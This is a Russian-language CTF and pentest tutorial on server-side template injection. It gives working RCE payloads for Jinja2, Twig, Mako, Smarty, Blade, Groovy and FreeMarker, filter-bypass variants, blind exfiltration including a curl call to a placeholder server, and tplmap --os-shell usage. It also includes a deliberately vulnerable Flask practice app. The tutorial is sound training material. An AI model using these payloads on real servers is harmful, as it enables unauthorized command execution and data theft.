
На одном из недавних CTF-марафонов три задания за вечер оказались SSTI в разных шаблонизаторах. Первое заняло четыре минуты: {{7*7}} в GET-параметре вернул 49 — стандартная цепочка через MRO до os.popen, флаг в /flag.txt. Второе — сорок минут: WAF резал точки, подчёркивания и квадратные скобки, пришлось строить payload на hex-кодировании и фильтре attr(). Третье — два с лишним часа: blind injection через {% if %} без вывода в ответе, побайтовая эксфильтрация через .startswith().
Разница между четырьмя минутами и двумя часами — не в сложности уязвимости. Она в понимании внутренней механики шаблонизатора и умении адаптироваться, когда стандартные payload не проходят. Разберём весь путь — от первого подозрительного отражения ввода до полноценного RCE.
Server-side template injection — уязвимость класса инъекций: пользовательский ввод попадает в серверный шаблон и интерпретируется движком (Jinja2, Twig, Mako, FreeMarker) как код, а не как данные. По классификации OWASP — A03:2021 Injection. Подробнее — в нашем обзоре пентест веб-приложений.
В терминах MITRE ATT&CK эксплуатация SSTI укладывается в конкретную цепочку:
os.popen или passthru/etc/passwd, переменных окруженияВ CTF обычно интересуют шаги 1-3: найти точку инъекции, определить движок, построить payload до RCE, прочитать флаг. На реальном внешнем пентесте всё серьёзнее: SSTI на периметре — это RCE без аутентификации и полный контроль над сервером. На внутреннем пентесте SSTI чаще всплывает в CMS-системах, wiki-движках и маркетинговых платформах, где пользователям дают редактировать шаблоны (и зря).
Основные целевые стеки — Flask/Jinja2 (Python), Symfony/Twig (PHP), Spring/FreeMarker (Java).
Перед тем как тестировать — нужен стенд:
pip install 'flask>=2.3.2'), минимум 256 МБ RAM. Старые версии Flask (до 1.0) содержат известные DoS-уязвимости (GHSA-562c-5r94-xh97, GHSA-5wv5-4vpf-pj6m) — берите 2.3.2+Минимальный уязвимый Flask-сервер для отработки:
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'World')
return render_template_string(f'Hello {name}!')
if __name__ == "__main__":
app.run(debug=True)
Уязвимость — в конкатенации пользовательского ввода name прямо в строку шаблона через f-string перед передачей в render_template_string. Безопасный вариант — передача name как параметра данных: render_template_string('Hello {{name}}!', name=name). Казалось бы, очевидная ошибка, но в реальных проектах на Flask такое встречается регулярно.
Первая проверка — математическое выражение. Отправляем ?name={{7*7}}. Если в ответе Hello 49! вместо Hello {{7*7}}! — шаблонизатор интерпретировал выражение. SSTI подтверждена.
Если прямая подстановка не сработала — фаззим с набором разделителей разных движков: ${{<%%'"}}%\. Согласно [OWASP Web Security Testing Guide, тестовые выражения должны покрывать синтаксис основных шаблонизаторов: {{7*7}}, ${7*7}, <%= 7*7 %>, #{7*7}, {7*7}.
Два контекста, где возникает SSTI:
{{7*7}} напрямую в параметреHello {{username}} и мы контролируем username, пробуем }}{{7*7}} для «выхода» из переменнойРеакция приложения подсказывает следующий шаг. 49 в ответе — подтверждённая SSTI. Текст {{7*7}} без интерпретации — шаблонизатор не обрабатывает ввод, ищите другой вектор. Ошибка 500 с traceback — движок попытался обработать выражение и упал. Это тоже потенциальная SSTI, просто payload кривой.
После подтверждения инъекции нужно определить конкретный шаблонизатор — от этого зависит весь дальнейший путь к RCE. По методологии PortSwigger Research, идентификация строится на серии зондирующих выражений с разным поведением в разных движках.
Ключевой probe — {{7*'7'}}. Jinja2 умножит строку на число и вернёт 7777777. Twig приведёт строку к числу и вернёт 49. Один запрос — и два самых частых движка в CTF разграничены.
| Probe | Результат | Вероятный движок |
|---|---|---|
{{7*'7'}} |
7777777 |
Jinja2 (Python) |
{{7*'7'}} |
49 |
Twig (PHP) |
${7*7} |
49 |
Mako, FreeMarker, Groovy |
<%= 7*7 %> |
49 |
ERB (Ruby) |
#{7*7} |
49 |
Slim, Pug |
{{7*7}} |
traceback Python | Jinja2 (ошибка в payload) |
{{7*7}} |
упоминание Twig | Twig (ошибка в payload) |
Дополнительные подсказки: заголовок X-Powered-By: PHP в ответе сужает выбор до Twig/Smarty/Blade. Расширения файлов в URL (.html.j2, .twig) — прямое указание. Python traceback в ошибках — Jinja2 или Mako. Если доступен исходный код задания (в CTF часто прилагается Dockerfile или requirements.txt) — смотрите зависимости, там всё написано.
Jinja2 — дефолтный шаблонизатор Flask и самый частый движок в CTF-заданиях категории web. После того как {{7*7}} вернул 49, нужно пройти путь от арифметики до вызова системных команд.
Jinja2 исполняет Python-выражения внутри {{ }}, но прямой import os недоступен — шаблонизатор этого не позволяет. Задача — добраться до нужных модулей через иерархию наследования Python.
Method Resolution Order (MRO) — порядок, в котором Python ищет метод в иерархии классов. Каждый объект наследуется от базового object, а через __subclasses__() можно получить список всех потомков — включая классы с доступом к os, subprocess и файловой системе. По сути, мы лезем по дереву наследования вверх до корня, а потом спускаемся по нужной ветке.
Цепочка навигации:
'', список [] или объект request (доступен в контексте Flask)''.__class__.__mro__[1] возвращает <class 'object'>. Альтернатива — ''.__class__.__base__ (результат тот же, но без индекса)''.__class__.__mro__[1].__subclasses__() возвращает список из сотен классовОтправляем {{''.__class__.__mro__[1].__subclasses__()}} и изучаем вывод — это массив всех классов, доступных интерпретатору. Нужно найти индекс os._wrap_close — у него есть __init__.__globals__['popen'], что даёт прямой вызов системных команд.
Индекс _wrap_close нестабилен — зависит от версии Python и загруженных модулей, скачет от ~130 до ~250+. Находим вручную: ищем в выводе __subclasses__() строку _wrap_close (Ctrl+F в браузере или grep в скрипте) и строим payload:
{{''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__['popen']('id').read()}}
Где N — найденный индекс. При верном значении получаем вывод id: uid=1000(flask) gid=1000(flask).
Более стабильный путь — через объект request, доступный в контексте Flask по умолчанию. Этот payload не зависит от индексов подклассов:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
request.application даёт доступ к WSGI-приложению, __globals__ — к глобальному пространству имён модуля, __builtins__ — к встроенным функциям Python, включая __import__. Дальше стандартный os.popen('command').read().
Его преимущество — возможность строить команды без кавычек, используя срезы строкового представления __globals__: self.__init__.__globals__.__str__()[1786:1788] может дать нужную подстроку (позиции зависят от среды). Это критично при фильтрации кавычек.
Помимо RCE, полезно знать payload для чтения конфигурации Flask: {{config}} выводит SECRET_KEY и другие настройки приложения — пригодится для подделки сессионных cookie.
Когда техника НЕ работает:
- SandboxedEnvironment в Jinja2 — блокирует доступ к приватным атрибутам (__class__, __mro__, __subclasses__)
- WAF фильтрует двойное подчёркивание __ или точку .
- Приложение использует autoescape=True и отдаёт результат как HTML — payload экранируется (но SSTI всё равно выполнится на сервере, просто вывод будет закодирован)
Twig — шаблонизатор для PHP, стандартный в Symfony. Если {{7*'7'}} вернул 49 (а не 7777777) — перед нами Twig.
В Twig нет иерархии классов Python, но есть свои пути к RCE. Для Twig 1.x работает классический payload через _self.env:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Для Twig 2.x/3.x (без sandbox) — фильтр map с PHP-функцией:
{{["id"]|map("system")|join}}
Или через passthru:
{{["id"]|map("passthru")}}
Twig поддерживает режим sandbox для изоляции пользовательских шаблонов. По спецификации arrow должен принимать только замыкания (Closure), но до патча проверка не выполнялась корректно — атакующий мог передать произвольную PHP-функцию. CWE-74 (Improper Neutralization of Special Elements in Output) и CWE-94 (Improper Control of Generation of Code).
Затронутые версии: twig/twig начиная с 2.0.0, исправлено в 2.14.11 и 3.3.8. Публичный PoC доступен в GitHub-репозитории davwwwx/CVE-2022-23614 (не зарегистрирован в Exploit-DB). Debian выпустил DSA-5107-1 для bullseye (php-twig 2.14.3-1+deb11u1), Ubuntu — USN-5947-1.
В CTF CVE-2022-23614 встречается в заданиях, где шаблон работает в sandbox — при попытке стандартного payload получаем «Calling a non Closure in sort filter is not allowed». Если версия Twig не пропатчена — фильтр sort с arrow параметром обходит ограничение. Проверяйте версию первым делом.
Для заданий без sandbox, но с фильтрацией кавычек, исследователи YesWeHack предложили payload через блоки Twig и встроенную переменную _charset:
{%block U%}id000passthru{%endblock%}{%set x=block(_charset|first)|split(000)%}{{[x|first]|map(x|last)|join}}
Этот payload собирает строку id и имя функции passthru без единой кавычки, используя только встроенные механизмы шаблонизатора. Красиво, если вдуматься.
В CTF иногда встречаются менее популярные шаблонизаторы. Краткая карта payload по данным YesWeHack research:
| Движок | Язык | RCE-payload (без кавычек) |
|---|---|---|
| Mako | Python | ${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()} |
| Smarty | PHP | {{passthru(implode(Null,array_map(chr(99).chr(104).chr(114),[105,100])))}} |
| Blade | PHP | {{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}} |
| Groovy | Java | ${x=new String();for(i in[105,100]){x+=((char)i).toString()};x.execute().text} |
Принцип один: все payload строят строку id из ASCII-кодов (105='i', 100='d') через chr(), чтобы обойти фильтрацию кавычек, и передают её в функцию системного вызова. Для Mako — os.popen, для PHP-движков — passthru или system, для Groovy — метод execute() строки.
FreeMarker (Java) оказался самым сложным для бескавычечной эксплуатации в исследовании YesWeHack — стандартными средствами собрать строку без кавычек не удалось. Если в CTF встретился FreeMarker без фильтрации кавычек — работает ${"freemarker.template.utility.Execute"?new()("id")}.
В CTF задание с «голой» SSTI без фильтрации — редкость на любых соревнованиях выше начального уровня. Разберём основные обходы для Jinja2, потому что этот движок фильтруют чаще всего.
Блокировка точки (.): переходим на скобочную нотацию. Вместо request.application.__globals__ пишем request['application']['__globals__']. Квадратные скобки эквивалентны обращению через точку для атрибутов и ключей словарей.
Блокировка точки и подчёркивания (_): hex-кодирование \x5f заменяет каждое подчёркивание. Payload превращается в request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']().
Блокировка точки, подчёркивания и квадратных скобок: фильтр attr() заменяет обращение к атрибутам без точек и скобок. Payload из PayloadsAllTheThings:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Три механизма доступа заменены на attr() и \x5f. Ни одной точки, ни одного подчёркивания в явном виде, ни одной квадратной скобки — а RCE на месте.
Если фильтруются {{ }} — это не конец. Jinja2 поддерживает {% %} для управляющих конструкций. Через {% if %} можно выполнять команды по аналогии с blind SQL injection:
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('sleep 5')['read']() == 'x' %} a {% endif %}
Ответ задержался на 5 секунд — команда выполнилась. Вывод эксфильтруется через сравнение (подробнее ниже).
Ограничение: Jinja2 поддерживает опциональные line statements через line_statement_prefix (например, # в начале строки как альтернатива {% %}), но эта опция должна быть явно включена на стороне сервера. В дефолтной конфигурации Flask она недоступна — не тратьте время на этот вектор, если не видели конфиг приложения. Строковые комментарии {# ... #} доступны всегда, но для обхода фильтров бесполезны.
Иногда результат рендеринга шаблона не возвращается клиенту: шаблон генерирует email, PDF, пишет данные в базу. Стандартный {{...}} с отображением результата не работает, нужны слепые техники.
Time-based — самый простой способ подтверждения. Отправляем payload с sleep 5. Ответ задержался на 5 секунд — код выполнился. Работает и через {{}} (если вывод не виден, но шаблон обрабатывается), и через {% if %}.
Out-of-band — эксфильтрация на внешний сервер. Если есть VPS или Burp Collaborator, гоним данные через HTTP: ...popen('curl http://YOUR-SERVER/?d=$(id|base64)').read().... На сервере ловим запрос с выводом команды в параметре.
Boolean-based — побайтовая эксфильтрация через бинарное сравнение. Самый муторный, но иногда единственный вариант. Проверяем, начинается ли вывод команды с конкретного символа:
{% if request.application.__globals__.__builtins__.__import__('os').popen('id').read().startswith('u') %}yes{% endif %}
Если в ответе yes — первый символ вывода id равен u. Итерируем по всем символам, наращивая проверяемый префикс: u, ui, uid и так далее. По данным onsecurity.io, полный Python-скрипт для побайтовой эксфильтрации укладывается в 15 строк — цикл по printable-символам с проверкой .startswith() на каждой итерации. Медленно, но надёжно.
Когда blind SSTI не работает: если ввод сохраняется в базу, но никогда не передаётся в render_template_string (stored input без шаблонного рендеринга), или если sandbox блокирует системные вызовы.
tplmap — инструмент для автоматического обнаружения и эксплуатации SSTI, по концепции аналогичный sqlmap. Поддерживает Jinja2, Mako, Twig, Smarty, FreeMarker, Jade и другие движки. Репозиторий epinna/tplmap на GitHub — обновляется нерегулярно, последний коммит стоит проверить перед использованием.
Базовое использование: python tplmap.py -u 'http://target/?name=test' — инструмент автоматически тестирует параметр name на SSTI во всех поддерживаемых движках. Для интерактивной оболочки: python tplmap.py -u 'http://target/?name=test' --os-shell. Для одиночной команды: python tplmap.py -u 'http://target/?name=test' --os-cmd 'cat /flag.txt'.
| Когда использовать | Когда НЕ использовать |
|---|---|
| Быстрая проверка параметра на SSTI | Кастомные WAF-фильтры в CTF |
| Определение движка при неочевидном ответе | Blind SSTI без вывода |
| Эксплуатация стандартной SSTI без фильтров | Sandbox с жёсткой политикой |
| Массовое сканирование параметров | Нужен нестандартный payload |
tplmap не обходит кастомные фильтры — если WAF режет __, . или {{}}, автоматические payload не пройдут. Нет встроенных time-based или boolean-based режимов для blind SSTI. Для свежих версий шаблонизаторов payload могут требовать адаптации. В CTF с нестандартной фильтрацией ручной подход — основной. tplmap хорош для разведки, но не для финального удара.
Пошаговый алгоритм при подозрении на SSTI:
${{<%[%'"}}%\ в каждый пользовательский параметр. Наблюдать за изменениями ответа и кодами ошибок{{7*7}}. Результат 49 — SSTI. Ошибка 500 — возможная SSTI, менять синтаксис{{7*'7'}} — если 7777777, это Jinja2; если 49 — Twig. Если не {{ }} — тестировать ${7*7}, <%= 7*7 %>{{config}} для Jinja2 (SECRET_KEY, DEBUG-режим), {{_self.env}} для Twig{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}. Для Twig — {{["id"]|map("system")|join}}. на [''], __ на \x5f\x5f, {{ }} на {% if %}cat /flag.txt, find / -name flag* 2>/dev/null, env | grep FLAGsleep 5, OOB через curl на свой сервер, boolean через .startswith()На бумаге выглядит просто, но SSTI по-настоящему ощущается только когда сам строишь цепочку через MRO и видишь, как payload разваливается от одного лишнего символа в фильтре. Готовый стенд для отработки есть на HackerLab.pro — SSTI-задачи в web-категории встречаются регулярно.
Большинство CTF-игроков, с которыми я общаюсь, подходят к SSTI как к задаче на копирование payload из шпаргалки. Открыл PayloadsAllTheThings, нашёл строку для Jinja2, вставил — и если сработало, задание закрыто. Не сработало — паника и переход к следующему таску. Это работает ровно до момента, когда автор задания добавляет фильтрацию одного символа — и весь арсенал готовых payload рассыпается.
Реальный навык — не в запоминании payload, а в понимании того, почему __class__.__mro__[1].__subclasses__() вообще существует как вектор. Это фундаментальное свойство объектной модели Python — каждый объект через наследование связан с каждым другим. Когда понимаешь это, обход любого фильтра становится задачей на рекомбинацию, а не на поиск готового ответа. То же с Twig: фильтр map работает потому, что Twig вызывает callable — и если знаешь, какие callable доступны в PHP, ты не зависишь от чужих payload. Я видел людей, которые решают SSTI-таски за две минуты на любом движке — и каждый из них в какой-то момент потратил время на то, чтобы разобрать механику, а не зазубрить строку. Если хочешь не просто writeup, а пройти всю атаку самому — на WAPT эту цепочку проходят с лабой на каждый кейс.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...